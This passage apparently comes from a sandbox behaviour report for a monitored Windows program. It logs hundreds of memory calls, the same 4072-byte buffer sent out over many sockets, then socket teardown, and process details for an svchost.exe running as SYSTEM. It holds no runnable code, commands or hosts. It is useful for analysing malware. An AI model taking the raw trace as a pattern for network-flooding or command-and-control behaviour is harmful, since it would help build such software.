(_Block=0xd9fe90, _Size=0x1022) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1023) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1024) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1025) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1026) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1027) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1028) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1029) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x102a) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x102b) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x102c) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x102d) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x102e) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x102f) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1030) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1031) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1032) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1033) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1034) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1035) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1036) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1037) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1038) returned 0xd9fe90 [0097.563] realloc (_Block=0xd9fe90, _Size=0x1039) returned 0xd9fe90 [0097.564] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1001) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1002) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1003) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1004) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1005) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1006) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1007) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1008) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1009) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x100a) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x100b) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x100c) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x100d) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x100e) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x100f) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1010) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1011) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1012) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1013) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1014) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1015) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1016) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1017) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1018) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x1019) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x101a) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x101b) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x101c) returned 0xd9fe90 [0097.564] realloc (_Block=0xd9fe90, _Size=0x101d) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x101e) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x101f) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1020) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1021) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1022) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1023) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1024) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1025) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1026) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1027) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1028) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1029) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x102a) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x102b) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x102c) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x102d) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x102e) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x102f) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1030) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1031) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1032) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1033) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1034) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1035) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1036) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1037) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1038) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1039) returned 0xd9fe90 [0097.565] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1001) returned 0xd9fe90 [0097.565] realloc (_Block=0xd9fe90, _Size=0x1002) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1003) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1004) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1005) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1006) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1007) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1008) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1009) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x100a) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x100b) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x100c) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x100d) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x100e) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x100f) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1010) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1011) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1012) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1013) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1014) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1015) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1016) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1017) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1018) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1019) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x101a) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x101b) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x101c) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x101d) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x101e) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x101f) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1020) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1021) returned 0xd9fe90 [0097.566] realloc (_Block=0xd9fe90, _Size=0x1022) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x1023) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x1024) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x1025) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x1026) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x1027) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x1028) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x1029) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x102a) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x102b) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x102c) returned 0xd9fe90 [0097.567] realloc (_Block=0xd9fe90, _Size=0x102d) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x102e) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x102f) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1030) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1031) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1032) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1033) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1034) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1035) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1036) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1037) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1038) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1039) returned 0xd9fe90 [0097.568] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1001) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1002) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1003) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1004) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1005) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1006) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1007) returned 0xd9fe90 [0097.568] realloc (_Block=0xd9fe90, _Size=0x1008) returned 0xd9fe90 [0097.569] realloc (_Block=0xd9fe90, _Size=0x1009) returned 0xd9fe90 [0097.569] realloc (_Block=0xd9fe90, _Size=0x100a) returned 0xd9fe90 [0097.569] realloc (_Block=0xd9fe90, _Size=0x100b) returned 0xd9fe90 [0097.569] realloc (_Block=0xd9fe90, _Size=0x100c) returned 0xd9fe90 [0097.569] realloc (_Block=0xd9fe90, _Size=0x100d) returned 0xd9fe90 [0097.569] realloc (_Block=0xd9fe90, _Size=0x100e) returned 0xd9fe90 [0097.569] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0097.569] free (_Block=0xd9fe90) [0097.569] select (in: nfds=149, readfds=0x2b1f34c, writefds=0x0, exceptfds=0x0, timeout=0x2b1f450*(tv_sec=90, tv_usec=0) | out: readfds=0x2b1f34c, writefds=0x0, exceptfds=0x0) returned 1 [0097.570] recv (in: s=0x94, buf=0xd9ce98, len=8192, flags=0 | out: buf=0xd9ce98*) returned 92 [0097.571] send (s=0x9c, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.571] send (s=0xa0, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.571] send (s=0xa4, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.571] send (s=0xa8, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.571] send (s=0xac, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.571] send (s=0xb0, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.571] send (s=0xb4, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.571] send (s=0xb8, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.571] send (s=0xbc, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.572] send (s=0xc0, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.572] send (s=0xc4, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.572] send (s=0xc8, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.572] send (s=0xcc, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.572] send (s=0x98, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.572] send (s=0xd4, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.572] send (s=0xd8, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.572] send (s=0xdc, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0097.572] send (s=0xe0, buf=0xd9fe90*, len=4072, flags=0) returned 4072 [0110.183] closesocket (s=0x9c) returned 0 [0110.184] free (_Block=0xdbf518) [0110.184] free (_Block=0xdc1520) [0110.184] free (_Block=0xdbd510) [0110.184] free (_Block=0xda1010) [0110.184] free (_Block=0xda1000) [0110.184] free (_Block=0xd97038) [0110.184] free (_Block=0xd97058) [0110.184] free (_Block=0xda0fd0) [0110.184] free (_Block=0xead5f8) [0110.184] free (_Block=0xd97018) [0110.184] free (_Block=0xdbc478) [0110.184] closesocket (s=0xa0) returned 0 [0110.185] free (_Block=0xdc65c8) [0110.185] free (_Block=0xdc85d0) [0110.185] free (_Block=0xdc45c0) [0110.185] free (_Block=0xda1040) [0110.185] free (_Block=0xda0ff0) [0110.185] free (_Block=0xd97098) [0110.185] free (_Block=0xd970b8) [0110.185] free (_Block=0xda0fe0) [0110.185] free (_Block=0xead5b0) [0110.185] free (_Block=0xd97078) [0110.185] free (_Block=0xdc3528) [0110.185] closesocket (s=0xa4) returned 0 [0110.185] free (_Block=0xdcd678) [0110.185] free (_Block=0xdcf680) [0110.185] free (_Block=0xdcb670) [0110.185] free (_Block=0xda0f50) [0110.185] free (_Block=0xda1020) [0110.185] free (_Block=0xd970f8) [0110.185] free (_Block=0xd97118) [0110.185] free (_Block=0xda1030) [0110.185] free (_Block=0xead568) [0110.185] free (_Block=0xd970d8) [0110.185] free (_Block=0xdca5d8) [0110.185] closesocket (s=0xa8) returned 0 [0110.185] free (_Block=0xdd4728) [0110.185] free (_Block=0xdd6748) [0110.185] free (_Block=0xdd2720) [0110.187] free (_Block=0xda0f70) [0110.187] free (_Block=0xda0f80) [0110.187] free (_Block=0xd97158) [0110.187] free (_Block=0xd97178) [0110.187] free (_Block=0xda0f90) [0110.187] free (_Block=0xead580) [0110.187] free (_Block=0xd97138) [0110.187] free (_Block=0xdd1688) [0110.188] closesocket (s=0xac) returned 0 [0110.188] free (_Block=0xdda758) [0110.188] free (_Block=0xddc760) [0110.188] free (_Block=0xdd8750) [0110.188] free (_Block=0xda0fa0) [0110.188] free (_Block=0xda0f60) [0110.188] free (_Block=0xd971b8) [0110.188] free (_Block=0xd971d8) [0110.188] free (_Block=0xda0fc0) [0110.188] free (_Block=0xead520) [0110.188] free (_Block=0xd97198) [0110.188] free (_Block=0xe16730) [0110.188] closesocket (s=0xb0) returned 0 [0110.188] free (_Block=0xde0770) [0110.188] free (_Block=0xde2778) [0110.188] free (_Block=0xdde768) [0110.188] free (_Block=0xda0f10) [0110.188] free (_Block=0xda0fb0) [0110.188] free (_Block=0xd97218) [0110.189] free (_Block=0xd97238) [0110.189] free (_Block=0xda0f00) [0110.189] free (_Block=0xead550) [0110.189] free (_Block=0xd971f8) [0110.189] free (_Block=0xe177c8) [0110.189] closesocket (s=0xb4) returned 0 [0110.189] free (_Block=0xde6788) [0110.189] free (_Block=0xde8790) [0110.189] free (_Block=0xde4780) [0110.189] free (_Block=0xda0f20) [0110.189] free (_Block=0xda0ef0) [0110.189] free (_Block=0xd97278) [0110.189] free (_Block=0xd97298) [0110.189] free (_Block=0xda0f40) [0110.189] free (_Block=0xead538) [0110.189] free (_Block=0xd97258) [0110.189] free (_Block=0xe18860) [0110.189] closesocket (s=0xb8) returned 0 [0110.189] free (_Block=0xdec7a0) [0110.189] free (_Block=0xdee7a8) [0110.189] free (_Block=0xdea798) [0110.189] free (_Block=0xda1250) [0110.189] free (_Block=0xda0f30) [0110.189] free (_Block=0xd972d8) [0110.189] free (_Block=0xd972f8) [0110.190] free (_Block=0xda11b0) [0110.190] free (_Block=0xead4d8) [0110.190] free (_Block=0xd972b8) [0110.190] free (_Block=0xe198f8) [0110.190] closesocket (s=0xbc) returned 0 [0110.190] free (_Block=0xdf27b8) [0110.190] free (_Block=0xdf47c0) [0110.190] free (_Block=0xdf07b0) [0110.191] free (_Block=0xd902c0) [0110.191] free (_Block=0xd902a0) [0110.191] free (_Block=0xd97338) [0110.191] free (_Block=0xd97358) [0110.191] free (_Block=0xd902b0) [0110.191] free (_Block=0xead508) [0110.191] free (_Block=0xd97318) [0110.191] free (_Block=0xe1a990) [0110.191] closesocket (s=0xc0) returned 0 [0110.191] free (_Block=0xdf87d0) [0110.191] free (_Block=0xdfa7d8) [0110.191] free (_Block=0xdf67c8) [0110.191] free (_Block=0xd902f0) [0110.191] free (_Block=0xd902d0) [0110.191] free (_Block=0xd97398) [0110.191] free (_Block=0xd973b8) [0110.191] free (_Block=0xd902e0) [0110.191] free (_Block=0xead4f0) [0110.191] free (_Block=0xd97378) [0110.191] free (_Block=0xe1ba28) [0110.191] closesocket (s=0xc4) returned 0 [0110.191] free (_Block=0xdfe7e8) [0110.191] free (_Block=0xe007f0) [0110.192] free (_Block=0xdfc7e0) [0110.192] free (_Block=0xd90320) [0110.192] free (_Block=0xd90300) [0110.192] free (_Block=0xd973f8) [0110.192] free (_Block=0xd97418) [0110.192] free (_Block=0xd90310) [0110.192] free (_Block=0xead478) [0110.192] free (_Block=0xd973d8) [0110.192] free (_Block=0xe1cac0) [0110.192] closesocket (s=0xc8) returned 0 [0110.192] free (_Block=0xe04800) [0110.192] free (_Block=0xe06808) [0110.192] free (_Block=0xe027f8) [0110.192] free (_Block=0xd90350) [0110.192] free (_Block=0xd90330) [0110.192] free (_Block=0xd97458) [0110.192] free (_Block=0xd97478) [0110.192] free (_Block=0xd90340) [0110.192] free (_Block=0xead4c0) [0110.192] free (_Block=0xd97438) [0110.192] free (_Block=0xe1db58) [0110.192] closesocket (s=0xcc) returned 0 [0110.192] free (_Block=0xe0a818) [0110.192] free (_Block=0xe0c820) [0110.192] free (_Block=0xe08810) [0110.192] free (_Block=0xd90380) [0110.192] free (_Block=0xd90360) [0110.192] free (_Block=0xd974b8) [0110.192] free (_Block=0xd974d8) [0110.193] free (_Block=0xd90370) [0110.193] free (_Block=0xead4a8) [0110.193] free (_Block=0xd97498) [0110.193] free (_Block=0xe1ebf0) [0110.193] closesocket (s=0x98) returned 0 [0110.193] free (_Block=0xe23dd8) [0110.193] free (_Block=0xe25de0) [0110.193] free (_Block=0xe21dd0) [0110.193] free (_Block=0xda10b0) [0110.194] free (_Block=0xda10a0) [0110.194] free (_Block=0xd96ff8) [0110.194] free (_Block=0xd96fd8) [0110.194] free (_Block=0xda10c0) [0110.194] free (_Block=0xead5e0) [0110.194] free (_Block=0xd96f78) [0110.194] free (_Block=0xe20d20) [0110.194] closesocket (s=0xd4) returned 0 [0110.195] free (_Block=0xe29df0) [0110.195] free (_Block=0xe2bdf8) [0110.195] free (_Block=0xe27de8) [0110.195] free (_Block=0xd903e0) [0110.195] free (_Block=0xd903c0) [0110.196] free (_Block=0xd97578) [0110.196] free (_Block=0xd97598) [0110.196] free (_Block=0xd903d0) [0110.196] free (_Block=0xead430) [0110.196] free (_Block=0xd97558) [0110.196] free (_Block=0xe61db8) [0110.196] closesocket (s=0xd8) returned 0 [0110.196] free (_Block=0xe2fe08) [0110.196] free (_Block=0xe31e10) [0110.196] free (_Block=0xe2de00) [0110.196] free (_Block=0xd90410) [0110.196] free (_Block=0xd903f0) [0110.196] free (_Block=0xd97628) [0110.196] free (_Block=0xd97648) [0110.196] free (_Block=0xd90400) [0110.196] free (_Block=0xead460) [0110.196] free (_Block=0xd975b8) [0110.196] free (_Block=0xe62e68) [0110.196] closesocket (s=0xdc) returned 0 [0110.196] free (_Block=0xe35e20) [0110.196] free (_Block=0xe37e28) [0110.196] free (_Block=0xe33e18) [0110.196] free (_Block=0xd96498) [0110.196] free (_Block=0xd90420) [0110.196] free (_Block=0xd97688) [0110.196] free (_Block=0xd976a8) [0110.197] free (_Block=0xd90430) [0110.197] free (_Block=0xead448) [0110.197] free (_Block=0xd97668) [0110.197] free (_Block=0xe63f70) [0110.197] closesocket (s=0xe0) returned 0 [0110.197] free (_Block=0xe3be38) [0110.197] free (_Block=0xe3de40) [0110.197] free (_Block=0xe39e30) [0110.197] free (_Block=0xd964c8) [0110.197] free (_Block=0xd964a8) [0110.197] free (_Block=0xd976e8) [0110.197] free (_Block=0xd97708) [0110.197] free (_Block=0xd964b8) [0110.197] free (_Block=0xead3e8) [0110.197] free (_Block=0xd976c8) [0110.197] free (_Block=0xe65078) [0110.197] Sleep (dwMilliseconds=0x1388) [0115.227] realloc (_Block=0x0, _Size=0x1000) returned 0xe61db8 [0115.227] srand (_Seed=0x3a1e9) [0115.227] rand () returned 23768 [0115.227] rand () returned 19050 [0115.227] rand () returned 15728 [0115.227] rand () returned 6491 [0115.227] realloc (_Block=0x0, _Size=0x1000) returned 0xe16730 [0115.227] send (s=0x94, buf=0xe16730*, len=82, flags=0) returned 82 [0115.228] select (in: nfds=149, readfds=0x2b1f2d8, writefds=0x0, exceptfds=0x0, timeout=0x2b1f3dc*(tv_sec=90, tv_usec=0) | out: readfds=0x2b1f2d8, writefds=0x0, exceptfds=0x0) returned 1 [0115.228] recv (in: s=0x94, buf=0xe61db8, len=4096, flags=0 | out: buf=0xe61db8*) returned 39 [0115.228] free (_Block=0xe16730) [0115.228] free (_Block=0xe61db8) [0115.228] Sleep (dwMilliseconds=0x7d0) [0117.241] malloc (_Size=0x2000) returned 0xe39e30 [0117.242] malloc (_Size=0x2000) returned 0xe3de40 [0117.242] send (s=0x94, buf=0xe39e30*, len=39, flags=0) returned 39 [0117.242] select (in: nfds=149, readfds=0x2b1f2d8, writefds=0x0, exceptfds=0x0, timeout=0x2b1f3dc*(tv_sec=90, tv_usec=0) | out: readfds=0x2b1f2d8, writefds=0x0, exceptfds=0x0) returned 1 [0117.242] recv (in: s=0x94, buf=0xe3de40, len=8192, flags=0 | out: buf=0xe3de40*) returned 39 [0117.242] send (s=0x94, buf=0xe39e30*, len=43, flags=0) returned 43 [0117.243] select (in: nfds=149, readfds=0x2b1f2e4, writefds=0x0, exceptfds=0x0, timeout=0x2b1f3e8*(tv_sec=90, tv_usec=0) | out: readfds=0x2b1f2e4, writefds=0x0, exceptfds=0x0) returned 1 [0117.243] recv (in: s=0x94, buf=0xe3de40, len=8192, flags=0 | out: buf=0xe3de40*) returned 43 [0117.243] free (_Block=0xe39e30) [0117.243] free (_Block=0xe3de40) [0117.243] closesocket (s=0x94) returned 0 [0117.243] free (_Block=0xd9ae90) [0117.244] free (_Block=0xd9ce98) [0117.244] free (_Block=0xd98e88) [0117.244] free (_Block=0xda1060) [0117.244] free (_Block=0xda1070) [0117.244] free (_Block=0xd96f38) [0117.244] free (_Block=0xd96f58) [0117.244] free (_Block=0xd96880) [0117.244] free (_Block=0xd949f0) [0117.244] free (_Block=0xd96fb8) [0117.244] free (_Block=0xead598) [0117.244] free (_Block=0xda3fd0) [0117.244] free (_Block=0xd96f98) [0117.244] free (_Block=0xda1090) [0117.244] free (_Block=0xead610) [0117.244] free (_Block=0xd96ef8) [0117.244] free (_Block=0xd91ab8) [0117.244] free (_Block=0xda4ff0) [0117.245] free (_Block=0xd9eea0) [0117.246] WSACleanup () returned 0 [0117.246] malloc (_Size=0x2) returned 0xda1090 [0117.246] free (_Block=0xda1090) [0117.246] free (_Block=0xd90e60) [0117.247] free (_Block=0xead670) [0117.247] free (_Block=0xead5c8) [0117.247] free (_Block=0xd937f0) Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8f04000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 470 os_tid = 0x814 Thread: id = 471 os_tid = 0x514 Thread: id = 472 os_tid = 0x318 Thread: id = 473 os_tid = 0x638 Thread: id = 474 os_tid = 0x25c Thread: id = 475 os_tid = 0x794 Thread: id = 476 os_tid = 0x7a4 Thread: id = 477 os_tid = 0x6d0 Thread: id = 478 os_tid = 0x504 Thread: id = 479 os_tid = 0x630 Thread: id = 480 os_tid = 0x524 Thread: id = 481 os_tid = 0x40c Thread: id = 482 os_tid = 0x7dc Thread: id = 483 os_tid = 0x344 Thread: id = 484 os_tid = 0x7e8 Thread: id = 485 os_tid = 0x11c Thread: id = 486 os_tid = 0x41c Thread: id = 487 os_tid = 0x618 Thread: id = 488 os_tid = 0x5fc Thread: id = 489 os_tid = 0x5f4 Thread: id = 490 os_tid = 0x5ec Thread: id = 491 os_tid = 0x5d0 Thread: id = 492 os_tid = 0x5c4 Thread: id = 493 os_tid = 0x5c0 Thread: id = 494 os_tid = 0x59c Thread: id = 495 os_tid = 0x480 Thread: id = 496 os_tid = 0x45c Thread: id = 497 os_tid = 0x43c Thread: id = 498 os_tid = 0x414 Thread: id = 499 os_tid = 0x410 Thread: id = 500 os_tid = 0xf0 Thread: id = 501 os_tid = 0xc8 Thread: id = 502 os_tid = 0x3f4 Thread: id = 503 os_tid = 0x3e8 Thread: id = 504 os_tid = 0x39c Thread: id = 505 os_tid = 0x390 Thread: id = 506 os_tid = 0x37c Thread: id = 507 os_tid = 0x374 Thread: id = 600 os_tid = 0x1250 Thread: id = 618 os_tid = 0x1254 Thread: id = 619 os_tid = 0x1258 Thread: id = 620 os_tid = 0x125c Thread: id = 766 os_tid = 0x6b8 Thread: id = 904 os_tid = 0x1624 Thread: id = 928 os_tid = 0x163c Thread: id = 942 os_tid = 0x1678 Thread: id = 944 os_tid = 0x1680 Thread: id = 1101 os_tid = 0x18c0 Thread: id = 1102 os_tid = 0x18c4 Thread: id = 1103 os_tid = 0x18c8 Thread: id = 1142 